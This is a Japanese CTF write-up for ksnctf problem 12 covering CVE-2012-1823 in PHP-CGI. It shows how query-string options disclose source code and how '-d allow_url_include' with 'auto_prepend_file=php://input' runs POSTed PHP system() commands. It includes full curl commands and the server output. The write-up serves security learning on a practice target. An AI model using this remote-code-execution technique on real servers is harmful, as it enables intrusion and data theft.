概要
ksnctfの12問目、PHPの脆弱性であるCVE-2012-1823に関する問題のWrite Upになります。
個人的に興味深かったのでまとめました。
解説
以下の問題文中にあるリンクにアクセスすると以下のような文字列が表示されます。
http://ctfq.sweetduet.info:10080/~q12/
全く何の事だかわからないので先頭の文字列(8文字)を検索してみます。
するとCVE (Common Vulnerabilities and Exposures) 番号であることがわかりました。
CVE-2012-1823は以下のサイトで詳細に解説されています。
https://blog.tokumaru.org/2012/05/php-cgi-remote-scripting-cve-2012-1823.html
当該脆弱性はPHP CGIを実行する際にオプションを指定できるというもので、
例えば以下のURLにアクセスした場合は、
http://example.jp/test.cgi?foo+bar+baz
以下のように実行したことと同じになります。
php test.cgi foo bar baz
当該脆弱性を用いて、まずはサイトのソースを表示したいと思います。
'-s' オプションを指定することでスクリプトの内容を表示できるようなので以下のようにアクセスします。
http://ctfq.sweetduet.info:10080/~q12/index.php?-s
上記の場合は 'php -s index.php' を実行したことになるので以下のようなレスポンスが返ってきました。
<?php
// Flag is in this directory.
date_default_timezone_set('UTC');
$t = '2012:1823:20:';
$t .= date('y:m:d:H:i:s');
for($i=0;$i<4;$i++)
$t .= sprintf(':%02d',mt_rand(0,59));
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Clock</title>
<style>
body
{
background: black;
}
p
{
color: red;
font-size: xx-large;
font-weight: bold;
text-align: center;
margin-top: 200px;
}
</style>
</head>
<body>
<p><?php echo $t; ?></p>
</body>
</html>
これで内容は確認できました。
ソースコードには以下のメッセージがありました。
// Flag is in this directory.
どうやらフラグは当該スクリプトと同じディレクトリ内にあるようです。
次は当該ディレクトリを表示する必要があります。
これも先ほどと同様の脆弱性を利用します。
'-d' を使用し php.ini のディレクティブを外部から指定します。
使用するのは以下の2つです。
allow_url_include=On
auto_prepend_file=php://input
1つ目は include するファイルをURL指定でリモートから読み出すことを許可するもの、
2つ目はPHP実行に先立ちスクリプトをincludeしておくものですが、ファイル名として php://input を指定しているので、POSTパラメータとして送信した内容をPHPスクリプトとして実行します。
両者の組み合わせにより、外部から指定したスクリプトを実行することができるようになります。
ここでcurlでリクエストを送信してみます。
PHPスクリプトとしてPOSTで送信する内容はsystem関数で 'ls -al' を実行し、カレントディレクトリ内を表示するものになっています。
$ curl "http://ctfq.sweetduet.info:10080/~q12/?-d+allow_url_include%3DOn+-d+auto_prepend_file%3Dphp://input" -X POST -d "<?php system('ls -al'); ?>"
total 18668
dr-x--x--x 2 q12 q12 4096 Jan 26 23:10 .
drwx--x--x 3 root root 4096 Jan 26 23:10 ..
-r--r--r-- 1 q12 q12 90 Jan 26 23:10 .htaccess
-r-------- 1 q12 q12 22 Jan 26 23:10 flag_flag_flag.txt
-r-xr-xr-x 1 q12 q12 600 Jan 26 23:10 index.php
-r-xr-xr-x 1 q12 q12 19093315 Jan 26 23:10 php.cgi
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Clock</title>
<style>
body
{
background: black;
}
p
{
color: red;
font-size: xx-large;
font-weight: bold;
text-align: center;
margin-top: 200px;
}
</style>
</head>
<body>
<p>2012:1823:20:18:01:26:14:15:36:01:10:43:52</p>
</body>
</html>
フラグが記述されていると思しきファイルを発見しました。
では次にフラグを読んでいきます。
ファイル名はわかったので先ほどと同じ方法で 'cat flag_flag_flag.txt' を実行します。
$ curl "http://ctfq.sweetduet.info:10080/~q12/?-d+allow_url_include%3DOn+-d+auto_prepend_file%3Dphp://input" -X POST -d "<?php system('cat flag_flag_flag.txt'); ?>"
FLAG_ZysbiGgbHrN3f9zs
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Clock</title>
<style>
body
{
background: black;
}
p
{
color: red;
font-size: xx-large;
font-weight: bold;
text-align: center;
margin-top: 200px;
}
</style>
</head>
<body>
<p>2012:1823:20:18:01:26:14:17:50:26:01:54:46</p>
</body>
</html>
上記からフラグの内容が確認できました。
最後に
面白い問題だったので個人的に詳細まで解説したつもりですが
わかりづらい点や説明不足な点があれば指摘していただけると幸いです。